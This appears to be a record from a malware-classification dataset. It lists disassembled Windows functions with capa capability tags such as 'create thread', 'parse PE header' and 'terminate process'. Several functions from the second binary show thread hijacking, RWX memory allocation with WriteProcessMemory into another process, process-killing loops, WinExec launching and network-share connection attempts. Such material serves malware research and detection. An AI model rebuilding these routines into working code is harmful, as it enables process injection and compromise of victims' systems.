joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002f48a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1002f4ea
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0xffffffff
jmp 0x1002f4ba
mov eax, dword [ebp - 8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0xffffffe2
jg 0x1002f4e8
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1002f4e6
push 0
push 0xab1
push 0
push 0
push 0x1801
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1002f4af
jmp 0x1002f501
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov esp, ebp
pop ebp
ret

Function at 0x10030748
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1003076c
xor eax, eax
jmp 0x10030897
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x1003078a
xor eax, eax
jmp 0x10030897
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 1
push 0x37a4
push 0x12de
call fcn.100305b4
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x100307b3
xor eax, eax
jmp 0x10030897
push dword [ebp - 8]
push 0x1b7b
lea eax, [ebp - 0xc]
push eax
push 0x1b9f
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 4]
push eax
push 1
push dword [ebp - 0x10]
call fcn.1003043c
add esp, 0x20
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 8]
push eax
push 1
push 0x4fa2
lea eax, [ebp - 8]
push eax
push 0x3986
call fcn.10030614
add esp, 0x18
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x14], ecx
je 0x10030817
push 0
push dword [ebp - 0x14]
push dword [ebp - 4]
call fcn.1002dd73
add esp, 0xc
push dword [ebp - 4]
call fcn.100300f6
pop ecx
test eax, eax
jne 0x10030828
xor eax, eax
jmp 0x10030897
push 0x10b7
push 0
push dword [ebp - 4]
call fcn.1002c3ba
add esp, 0xc
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x1003087f
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x10030859
xor eax, eax
jmp 0x10030897
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x10030872
xor eax, eax
jmp 0x10030897
lea eax, [ebp - 4]
push eax
push 1
call fcn.100306d1
pop ecx
pop ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x10030890
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x10030894
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x1004749e
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x100474b6
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x100474dd
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x100474dd
push 0
push 0x1490
push 0x2211
push 0x112f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esp, ebp
pop ebp
ret

Function at 0x10047a30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10047a56
push 0
push 0xab1
push 0
push 0
push 0x1801
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10047aae
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10047aae
push 3
push 0xfd
push 0x1586
push 0x217b
push 0x22fb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0xa2b
push 0x10fa
push 0x1d9c
push 0x949
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
mov esp, ebp
pop ebp
ret
Function at 0x1007e852
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1008a38c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1006ea1a
mov dword [ebp - 0x14], eax
cmp dword [0x10677e88], esi
jne 0x1007e945
push 0x800
push esi
push 0x1000908c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1007e8d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1007ea25
push esi
push esi
push 0x1000908c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1007ea25
push 0x100090a4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1007ea25
push eax
call ebx
push 0x100090b0
push edi
mov dword [0x10677e88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100090c0
push edi
mov dword [0x10677e8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100090d4
push edi
mov dword [0x10677e90], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10677e98], eax
test eax, eax
je 0x1007e942
push 0x100090f0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10677e94], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1007e96a
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1007e95d
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1007e97f
push 4
pop eax
jmp 0x1007ea27
cmp dword [ebp - 0x14], esi
je 0x1007e97f
push dword [0x10677e88]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1007e964
mov eax, dword [0x10677e94]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1007e9dd
cmp dword [0x10677e98], edi
je 0x1007e9dd
push eax
call ebx
push dword [0x10677e98]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1007e9dd
test eax, eax
je 0x1007e9dd
call ecx
test eax, eax
je 0x1007e9d2
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1007e9d2
test byte [ebp - 8], 1
jne 0x1007e9dd
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1007ea0d
mov eax, dword [0x10677e8c]
cmp eax, edi
je 0x1007ea0a
push eax
call ebx
test eax, eax
je 0x1007ea0a
call eax
mov esi, eax
test esi, esi
je 0x1007ea0a
mov eax, dword [0x10677e90]
cmp eax, edi
je 0x1007ea0a
push eax
call ebx
test eax, eax
je 0x1007ea0a
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x10677e88]
call ebx
test eax, eax
je 0x1007ea25
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1007ea27
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1006a685
mov esp, ebp
pop ebp
ret
Function at 0x4063f8
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff34
mov esi, eax
xor ebx, ebx
push 0
push esi
call fcn.004058bc
mov dword [0x4126e0], eax
cmp dword [0x4126e0], 0
je 0x406499
cmp dword [0x4126f0], 0
je 0x406499
cmp dword [0x4126f4], 0
je 0x406499
mov eax, dword [0x4126e0]
push eax
call sub.kernel32.dll_SuspendThread
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4126e0]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x406480
push esi
lea esi, [esp + 4]
mov edi, 0x4126f8
mov ecx, 0x33
rep movsd dword es:[edi], dword [esi]
pop esi
mov eax, dword [0x4126f0]
mov dword [esp + 0xb8], eax
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4126e0]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [0x4126e0]
push eax
call sub.kernel32.dll_ResumeThread
push 0
push 0
push 0
push esi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
add esp, 0xcc
pop edi
pop esi
pop ebx
ret

Function at 0x406c68
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov edi, eax
xor eax, eax
push ebp
push 0x406d9c
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov esi, 0x406c0c
sub esi, 0x406bfc
push edi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [0x412804], eax
cmp dword [0x412804], 0
je 0x406d81
push 0x40
push 0x1000
push esi
push 0
mov eax, dword [0x412804]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x412808], eax
cmp dword [0x412808], 0
je 0x406d7f
lea edx, [ebp - 0x10]
mov eax, 0x406db4
call fcn.00404c04
mov eax, dword [ebp - 0x10]
call fcn.004035bc
push eax
call sub.kernel32.dll_GetModuleHandleA_1
mov ebx, eax
lea edx, [ebp - 0x14]
mov eax, 0x406dcc
call fcn.00404c04
mov eax, dword [ebp - 0x14]
call fcn.004035bc
push eax
push ebx
call sub.kernel32.dll_GetProcAddress
call fcn.00406c10
mov dword [ebp - 0xc], eax
push esi
push 0
call sub.kernel32.dll_GlobalAlloc
mov ebx, eax
test ebx, ebx
je 0x406d7f
mov edx, ebx
mov eax, 0x406bfc
mov ecx, esi
call fcn.00402598
mov edx, esi
sub edx, 5
test edx, edx
jl 0x406d62
inc edx
mov dword [ebp - 4], 0
mov eax, ebx
add eax, dword [ebp - 4]
cmp dword [eax], 0x11111111
jne 0x406d5c
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
inc dword [ebp - 4]
dec edx
jne 0x406d4a
lea eax, [ebp - 8]
push eax
push esi
push ebx
mov eax, dword [0x412808]
push eax
mov eax, dword [0x412804]
push eax
call sub.kernel32.dll_WriteProcessMemory
push ebx
call sub.kernel32.dll_GlobalFree
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406da3
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004031a0
ret
Function at 0x406dd8
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff34
mov esi, eax
xor ebx, ebx
push 0
push esi
call fcn.0040692c
mov dword [0x412800], eax
cmp dword [0x412800], 0
je 0x406e70
cmp dword [0x412808], 0
je 0x406e70
mov eax, dword [0x412800]
push eax
call sub.kernel32.dll_SuspendThread
mov dword [esp], 0x10007
push esp
mov eax, dword [0x412800]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x406e57
push esi
lea esi, [esp + 4]
mov edi, 0x41280c
mov ecx, 0x33
rep movsd dword es:[edi], dword [esi]
pop esi
mov eax, dword [0x412808]
mov dword [esp + 0xb8], eax
mov dword [esp], 0x10007
push esp
mov eax, dword [0x412800]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [0x412800]
push eax
call sub.kernel32.dll_ResumeThread
push 0
push 0
push 0
push esi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
add esp, 0xcc
pop edi
pop esi
pop ebx
ret

Function at 0x406ef0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x406fac
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.0040317c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
jbe 0x406f8e
mov eax, ebx
call fcn.00402494
mov esi, eax
push esi
push ebx
push 0
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
call sub.version.dll_GetFileVersionInfoA
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x10]
mov eax, 0x406fc4
call fcn.00404c04
mov eax, dword [ebp - 0x10]
call fcn.004035bc
push eax
push esi
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x406f85
mov edx, edi
mov eax, dword [ebp - 8]
call fcn.00404768
mov edx, ebx
mov eax, esi
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406fb3
lea eax, [ebp - 0x10]
call fcn.0040317c
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x40728c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed4
push ebx
push esi
xor eax, eax
mov dword [ebp - 4], eax
lea esi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x40733d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.00406fe8
xor edx, edx
mov eax, 0xf
call fcn.004056e4
mov ebx, eax
mov dword [esi], 0x128
mov edx, esi
mov eax, ebx
call fcn.00405704
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x40731d
push ebp
mov eax, dword [esi + 8]
call fcn.00407038
pop ecx
test al, al
je 0x40730e
mov eax, dword [esi + 8]
push eax
push 0xffffffffffffffff
push 1
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
je 0x407321
push 0
push esi
call sub.kernel32.dll_TerminateProcess
push esi
call sub.kernel32.dll_CloseHandle
jmp 0x407321
mov edx, esi
mov eax, ebx
call fcn.00405724
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4072dd
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407344
lea eax, [ebp - 4]
call fcn.0040317c
ret

Function at 0x407674
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
lea edi, [ebp - 0x12d]
xor eax, eax
push ebp
push 0x4077f0
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 0xf
call fcn.004056e4
mov esi, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, esi
call fcn.00405704
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4077bc
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004033a4
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.004046d0
mov eax, dword [ebp - 0x134]
mov edx, dword [ebp - 4]
call fcn.00404698
test eax, eax
je 0x407736
lea eax, [ebp - 0x13c]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004033a4
mov eax, dword [ebp - 0x13c]
mov edx, dword [ebp - 4]
call fcn.00404698
test eax, eax
jne 0x4077ad
mov eax, dword [edi + 8]
push eax
push 0xffffffffffffffff
push 1
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x407762
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x407766
mov byte [ebp - 5], 0
cmp byte [ebp - 5], 0
jne 0x4077ad
call fcn.0040764c
test al, al
jne 0x4077ad
mov edx, dword [edi + 8]
mov eax, 1
call fcn.00407534
mov ebx, eax
test ebx, ebx
je 0x4077ad
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
push ebx
call sub.kernel32.dll_CloseHandle
cmp byte [ebp - 5], 0
jne 0x4077ad
mov eax, dword [edi + 8]
call fcn.00406e7c
mov edx, edi
mov eax, esi
call fcn.00405724
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4076db
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4077f7
lea eax, [ebp - 0x13c]
mov edx, 3
call fcn.004031a0
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x408d74
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe2c
mov dword [esp], eax
mov edi, 0x4129a4
lea eax, [esp + 0x44]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [esp]
call fcn.0040317c
push 0x40
lea eax, [esp + 8]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x408e0e
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x408e02
test ebx, ebx
jne 0x408dd2
push dword [ebp]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [esp]
call fcn.00404768
mov eax, dword [edi]
call fcn.00403be4
inc eax
push eax
mov eax, edi
mov ecx, 1
mov edx, dword [0x407f24]
call fcn.00403da0
add esp, 4
mov eax, dword [edi]
call fcn.00403bec
mov edx, dword [edi]
mov ecx, dword [esi + ebx*4]
mov ecx, dword [ecx]
mov dword [edx + eax*4], ecx
inc ebx
mov ebp, dword [esi + ebx*4]
test ebp, ebp
jne 0x408dbe
call sub.wsock32.dll_WSACleanup
add esp, 0x1d4
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x408e1c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
xor eax, eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x408fae
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x114]
mov eax, 0x408fc4
call fcn.00404c04
mov eax, dword [ebp - 0x114]
push eax
lea eax, [ebp - 0x118]
call fcn.00408754
mov edx, dword [ebp - 0x118]
lea eax, [ebp - 4]
pop ecx
call fcn.00403408
mov eax, dword [ebp - 4]
call fcn.00404860
mov ebx, eax
cmp ebx, 0xffffffff
je 0x408ebb
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [0x4129c8]
push eax
mov eax, dword [0x4129b4]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
call fcn.00404a00
test al, al
je 0x408f88
cmp byte [0x41f1ec], 0
je 0x408f23
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
lea edx, [ebp - 0x11c]
mov eax, 0x408fdc
call fcn.00404c04
mov eax, dword [ebp - 0x11c]
call fcn.004035bc
push eax
lea edx, [ebp - 0x120]
mov eax, 0x408fec
call fcn.00404c04
mov eax, dword [ebp - 0x120]
call fcn.004035bc
mov edx, eax
mov eax, 0x80000002
pop ecx
call fcn.00404efc
jmp 0x408f88
push 0x104
lea eax, [ebp - 0x10e]
push eax
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
call sub.kernel32.dll_GetShortPathNameA
lea eax, [ebp - 0x10e]
push eax
lea edx, [ebp - 0x124]
mov eax, 0x408fdc
call fcn.00404c04
mov eax, dword [ebp - 0x124]
call fcn.004035bc
push eax
lea edx, [ebp - 0x128]
mov eax, 0x409024
call fcn.00404c04
mov eax, dword [ebp - 0x128]
call fcn.004035bc
mov edx, eax
mov eax, 0x80000001
pop ecx
call fcn.00404efc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408fb5
lea eax, [ebp - 0x128]
mov edx, 6
call fcn.004031a0
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x409514
Capabilities:
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x4095c8
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0040734c
lea edx, [ebp - 8]
mov eax, 0x4095dc
call fcn.00404c04
mov eax, dword [ebp - 8]
call fcn.00407674
lea edx, [ebp - 0xc]
mov eax, 0x4095f0
call fcn.00404c04
mov eax, dword [ebp - 0xc]
call fcn.00407674
lea edx, [ebp - 0x10]
mov eax, 0x409604
call fcn.00404c04
mov eax, dword [ebp - 0x10]
call fcn.00407674
push 0
lea edx, [ebp - 0x14]
mov eax, 0x409618
call fcn.00404c04
mov eax, dword [ebp - 0x14]
call fcn.004035bc
push eax
call sub.kernel32.dll_WinExec
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x409484
push 0
push 0
call sub.kernel32.dll_CreateThread
push 0x3e8
call sub.kernel32.dll_Sleep
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4095cf
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004031a0
ret
Function at 0x40e63c
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
lea edi, [ebp - 0x2c]
xor eax, eax
push ebp
push 0x40e769
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x40e72e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 4]
mov edx, 0x40e784
call fcn.00403408
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0xc]
call fcn.0040fa68
mov eax, dword [ebp - 0xc]
call fcn.00403bec
mov esi, eax
test esi, esi
jl 0x40e724
inc esi
xor ebx, ebx
xor eax, eax
mov dword [edi + 4], eax
xor eax, eax
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.004035bc
mov dword [edi + 0x14], eax
xor eax, eax
mov dword [edi + 0x1c], eax
push 0
push 0
push 0x40e788
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
je 0x40e6ea
push 0
push 0
push 0
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x40e720
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + ebx*4]
lea eax, [ebp - 0x34]
mov ecx, 0x40e794
call fcn.00403408
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov dl, 1
call fcn.00410314
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.004035bc
push eax
call sub.mpr.dll_WNetCancelConnectionA
inc ebx
dec esi
jne 0x40e6aa
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40e738
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e770
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.004031a0
lea eax, [ebp - 0xc]
mov edx, dword [0x40e618]
call fcn.00403dac
lea eax, [ebp - 4]
call fcn.0040317c
ret

Function at 0x40e798
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40e81a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
mov edx, 0x44
call fcn.00404504
mov dword [ebp - 0x48], 0x44
mov word [ebp - 0x18], 1
test ebx, ebx
jne 0x40e7db
lea ebx, [ebp - 0x58]
push ebx
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e821
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x40f33c
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40f3d9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 0xc]
call fcn.0040317c
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x40f3c3
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x40f3b7
test ebx, ebx
jne 0x40f3b6
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [ebp - 0xc]
call fcn.00404768
mov eax, dword [esi + ebx*4]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
mov dword [edx], eax
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x40f399
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f3e0
lea eax, [ebp - 4]
call fcn.0040317c
ret